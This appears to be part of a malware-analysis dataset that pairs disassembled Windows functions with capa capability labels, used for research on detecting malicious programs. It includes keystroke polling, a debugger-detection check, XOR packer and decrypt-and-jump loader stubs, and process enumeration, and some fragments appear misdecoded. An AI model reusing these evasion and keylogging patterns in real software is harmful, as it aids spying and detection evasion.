joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404301
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffadc
push esi
lea esi, [esp + 0x40]
mov dword [esi], 0x2e455845
mov dword [esi + 4], 0
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
cmp dword [esi], 0x2e657865
jne 0x404332
cmp eax, esi
je 0x404333
leave
ret 4
add byte [ebx - 0x17a7dbcc], cl
sbb byte [eax], al
add byte [eax], al
mov esi, dword [esp]
pop eax
call fcn.00404354
cmp eax, 0
je 0x40434b
cmp eax, edx
jbe 0x404363
jmp eax
push eax
notrack jmp dword ds:[sym.imp.KERNEL32.dll_ExitProcess]
call 0x23408638
lds eax, [eax + 0x3b]
les esp, [esi]
jp 0x404372
call dword es:[sym.imp.USER32.dll_GetKeyState]
dec eax
mov esp, 0x480042d0
and eax, 0x7ffe
sub ax, 0x7ffc
xchg ecx, eax
push ecx
ror dword [esp], 4
rol dword [esp], 7
pop ecx
xchg ecx, eax
call dword es:[eax*4 + sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
dec eax
and eax, 6
lea eax, [eax*2 - 0x5b]
lea ecx, [0]
sub ecx, 0x10000
or eax, ecx
and eax, 0xffffffff
je 0x404372
push eax
add ecx, esp
xor dword [ecx + 0x10000], 0xffbf5c43
je 0x404372
sub ecx, esp
pop eax
ret

Function at 0x404354
Capabilities:
Log keystrokes via polling

Disassembly:
push esp
push 0
mov eax, ebp
push 0
push 0x10000
call dword es:[sym.imp.GDI32.dll_SetDCBrushColor]
and eax, ebp
inc eax
cmp eax, esp
jp 0x404372

Function at 0x414def
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], ecx
add ebx, ebx
add eax, 4
cmp eax, edi
jne fcn.00414def
sub esi, edx
ret
Function at 0x4013b0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x408040]
xor eax, esp
mov dword [esp + 0x30], eax
mov eax, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push ebx
push esi
push edi
xor esi, esi
mov ebx, 0x2710
mov edi, 0x3e8
call eax
cdq
idiv edi
mov edi, edx
test esi, esi
jne 0x4013fe
push 0xc
call fcn.00404144
mov esi, eax
mov dword [esi], edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
jmp 0x401458
cmp edi, dword [esi]
jge 0x40142e
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x401412
mov edx, edi
call fcn.00401340
jmp 0x40145b
push 0xc
call fcn.00404144
mov dword [eax], edi
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [esi + 4], eax
jmp 0x401458
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x40143e
mov edx, edi
call fcn.00401340
jmp 0x40145b
push 0xc
call fcn.00404144
mov dword [eax], edi
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [esi + 8], eax
add esp, 4
mov eax, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, 0x3e8
sub ebx, 1
jne 0x4013d8
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, dword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
nop word [eax + eax]
call ebx
push 0
push 0x989680
push edx
push eax
call fcn.00404f90
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x38], edx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
add esp, 4
mov esi, eax
push 0x40625c
call edi
add esp, 4
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], str._H:_M:_S
mov eax, str._H:_M:_S
mov dword [esp + 0x24], str._H:_M:_S
nop dword [eax + eax]
inc eax
cmp byte [eax], 0
jne 0x4014d0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [esp + 0x1c]
mov dword [esp + 0x24], eax
call fcn.00403870
push 0x403ad0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [esp + 0x28]
call fcn.00401220
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
cmp ecx, 0xc46535ff
jne 0x401516
cmp eax, 0x7fffffff
je 0x401546
cmp eax, 0x7fffffff
jg 0x401546
jl 0x401527
cmp ecx, 0xc46535ff
jae 0x401546
add ecx, 0x3b9aca00
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x10]
adc eax, 0
mov dword [esp + 0x14], eax
call fcn.00403e50
jmp 0x401480
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], 0x7fffffff
call fcn.00403e50
jmp 0x401480
Function at 0x4016d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x139c
call fcn.00405160
mov eax, dword [0x408040]
xor eax, esp
mov dword [esp + 0x1398], eax
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [esp + 0x139c], 0xffffffff
mov ecx, 1
mov dword [esp + 0x1c], eax
nop dword [eax]
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
mov dword [esp + ecx*4 + 0x1c], eax
inc ecx
cmp ecx, 0x270
jb 0x401710
cmp dword [edi + 0x14], 0xf
mov eax, edi
mov dword [esp + 0x18], 0x270
jbe 0x401744
mov eax, dword [edi]
mov esi, eax
mov ecx, eax
jmp 0x401748
mov esi, edi
mov ecx, edi
mov edi, dword [edi + 0x10]
add edi, ecx
cmp eax, edi
je 0x401768
mov ebx, 0x100
lea ecx, [esp + 0x18]
call fcn.00403f40
mul ebx
mov byte [esi], dl
inc esi
cmp esi, edi
jne 0x401756
mov ecx, dword [esp + 0x13a4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00404136
mov esp, ebp
pop ebp
ret

Function at 0x4019b0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], 0
xor eax, eax
mov eax, dword fs:[0x30]
mov edx, 0x2a
add ebx, edx
nop
sub ecx, 0xa
nop
xor ecx, ecx
mov eax, dword [eax + 2]
and eax, 0xff
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x403f9d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x403f60
mov eax, dword [esi]
jmp 0x404077
cmp eax, 0x4e0
jb 0x404077
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x403fb6
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
nop
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x404000
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404b64
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404ba3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404ba3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404ba3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404ba3
cmp dword [ecx + 0x74], 0xe
jbe 0x404ba3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100129ec
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002cef1
call fcn.10014f28
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012a09
xor eax, eax
jmp 0x10012adf
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012add
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10012ab3
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.100125e1
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.100125e1
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10012b61
lea ecx, [ebp - 0x240]
call fcn.10012b61
push dword [ebp - 0x244]
lea ecx, [ebp - 0x240]
call main
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012abd
call fcn.10012c52
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012c52
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10012a36
jmp 0x10012ad6
mov edi, dword [ebp - 0x234]
call fcn.10012c52
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10012c52
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10014ed2
ret

Function at 0x1002535d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1002536c
pop dword [ebp - 0x4c]
mov eax, 0xb2b5a1e6
add eax, 0x5d4cb186
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x402d7
push 0
mov eax, 0x16dbdd24
sub eax, 0x6d8ec38
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x6b03dd28
add ecx, 0x94fc66b2
mov esi, eax
mov edi, 0x10049800
add edi, dword [ebp - 0x4c]
mov edx, 0xae3ce5f7
sub edx, 0xd955afcc
xor dword [ebp - 0x10], 0xe5648887
mov ebx, dword [edi]
sub dword [ebp - 0x34], esi
add ebx, edx
sub dword [ebp - 0x14], 0xb0ab720a
mov dword [esi], ebx
add dword [ebp - 0x38], ebx
add esi, 0x62054eab
sub esi, 0x62054ea7
add edi, 4
loop 0x100253c5
add eax, 0x5387fdde
sub eax, 0x5386fba3
mov ebx, eax
add eax, 0x59040ccf
add eax, 0xa6fbf336
mov ecx, 0xa5cfe572
sub ecx, 0x95cfe572
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0xb022364
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x28386d7e
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..data
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x8c075b2
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0xc5e55c4
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10037ea2
Capabilities:
Delete directory

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c582a
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x10
push esi
push edi
mov eax, dword [0x1012f058]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor edi, edi
mov dword [esi], 0x100e3ec0
cmp dword [esi + 0x24], edi
je 0x10037f67
lea eax, [esi + 0x1e4]
mov dword [ebp - 0x18], edi
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], edi
call dword [sym.imp.kernel32.dll_TryEnterCriticalSection]
test eax, eax
je 0x10037f0d
lea ecx, [ebp - 0x18]
call fcn.100020c8
call dword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [ebp - 0x14], eax
je 0x10037f2a
mov eax, dword [0x1012f1b0]
mov ecx, 0x1012f1b0
push 0x326a6f78
call dword [eax + 4]
cmp byte [esi + 0x20c], 0
je 0x10037f45
mov eax, dword [0x1012f1b0]
mov ecx, 0x1012f1b0
push 0x326a6f79
call dword [eax + 4]
cmp dword [esi + 0x208], edi
je 0x10037f5f
mov eax, dword [0x1012f1b0]
mov ecx, 0x1012f1b0
push 0x326a6f7a
call dword [eax + 4]
lea ecx, [ebp - 0x1c]
call fcn.10001ee8
mov eax, dword [esi + 0x218]
cmp eax, 0xffffffff
je 0x10037f80
or dword [esi + 0x218], 0xffffffff
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [esi + 0x21c], edi
je 0x10037fb6
lea edi, [esi + 0x220]
push edi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
jne 0x10037fab
mov eax, dword [0x1012f1b0]
mov ecx, 0x1012f1b0
push 0x326a7030
call dword [eax + 4]
xor eax, eax
mov word [edi], ax
and dword [esi + 0x21c], eax
mov edi, dword [esi + 0x1e0]
test edi, edi
je 0x10037fd9
push ecx
lea eax, [edi + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1005aee6
and dword [edi + 8], 0
lea ecx, [ebp - 0x1c]
call fcn.10001ee8
mov edi, dword [esi + 8]
and dword [esi + 8], 0
test edi, edi
je 0x10037ff2
mov ecx, edi
call fcn.1005aee6
push edi
call fcn.1005aee6
pop ecx
mov eax, dword [esi + 0x218]
cmp eax, 0xffffffff
je 0x1003800b
or dword [esi + 0x218], 0xffffffff
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [esi + 0x1e4]
push eax
call dword [sym.imp.kernel32.dll_DeleteCriticalSection]
mov ecx, dword [esi + 0x1e0]
test ecx, ecx
je 0x1003802e
and dword [esi + 0x1e0], 0
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [esi + 0x2c]
call fcn.1005aee6
and dword [ebp - 4], 0
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x1003804b
and dword [esi + 0xc], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov esi, dword [esi + 8]
test esi, esi
je 0x10038060
mov ecx, esi
call fcn.1005aee6
push esi
call fcn.1005aee6
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1005aee6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1005aef5
pop dword [ebp - 0x24]
mov eax, 0x1005aef5
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x1ef67a5d
add dword [ebp - 0x34], 0x2f5bcaee
mov dword [ebp - 0x30], 0x28f09317
sub dword [ebp - 0x30], 0xf6bd46d2
mov dword [ebp - 0x2c], 0xad6c9e0f
sub dword [ebp - 0x2c], 0x612059e1
mov dword [ebp - 0x28], 0x45019343
sub dword [ebp - 0x28], 0x45019343
lea eax, [ebp - 0x34]
push eax
mov eax, 0xf871715
add eax, 0x857a37
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x39cc5dac
sub dword [ebp - 0x34], 0xc559f456
mov dword [ebp - 0x30], 0xad6c2b48
sub dword [ebp - 0x30], 0x6bffc9d3
mov dword [ebp - 0x2c], 0xea821cf5
add dword [ebp - 0x2c], 0x78ed4f77
mov dword [ebp - 0x28], 0x23473a58
sub dword [ebp - 0x28], 0x23473a58
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x5df6b
push 0
call eax
mov ecx, 0xc744f1f4
add ecx, 0x38bb51bf
xor ebx, ebx
add ebx, eax
mov edi, 0x10145600
add edi, dword [ebp - 0x24]
mov edx, 0x78a2cea
add edx, 0xcb7b45db
sub dword [ebp - 0x14], 0xc4251f38
mov esi, dword [edi]
xor esi, edx
xor dword [ebp - 0x1c], 0x76c860df
mov dword [ebx], esi
sub dword [ebp - 0x18], eax
add ebx, 4
add edi, 4
loop 0x1005b009
add eax, 0x1019f
xor ebx, ebx
add ebx, eax
add eax, 0x27c0c9d7
sub eax, 0x27c0c9d2
mov ecx, 0xee425853
sub ecx, 0xde425853
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1008652d
Capabilities:
Get common file path

Disassembly:
xor eax, eax
mov word [ecx], ax
cmp dword [0x10137368], eax
je 0x10086592
push ecx
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathW]
test eax, eax
setne al
ret
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
xor ecx, ecx
push eax
push ecx
push ecx
push 0x100c96f8
mov dword [ebp - 4], ecx
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov esi, eax
test esi, esi
js 0x100865cb
push dword [ebp - 4]
push 0x104
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0xc
test esi, esi
mov ecx, dword [ebp - 4]
setns bl
test ecx, ecx
je 0x100865e0
and dword [ebp - 4], 0
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x5e256965
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x1a58000b
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x43eb65ba
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x67795127
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408e84
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x61f35c51
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x757b754b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219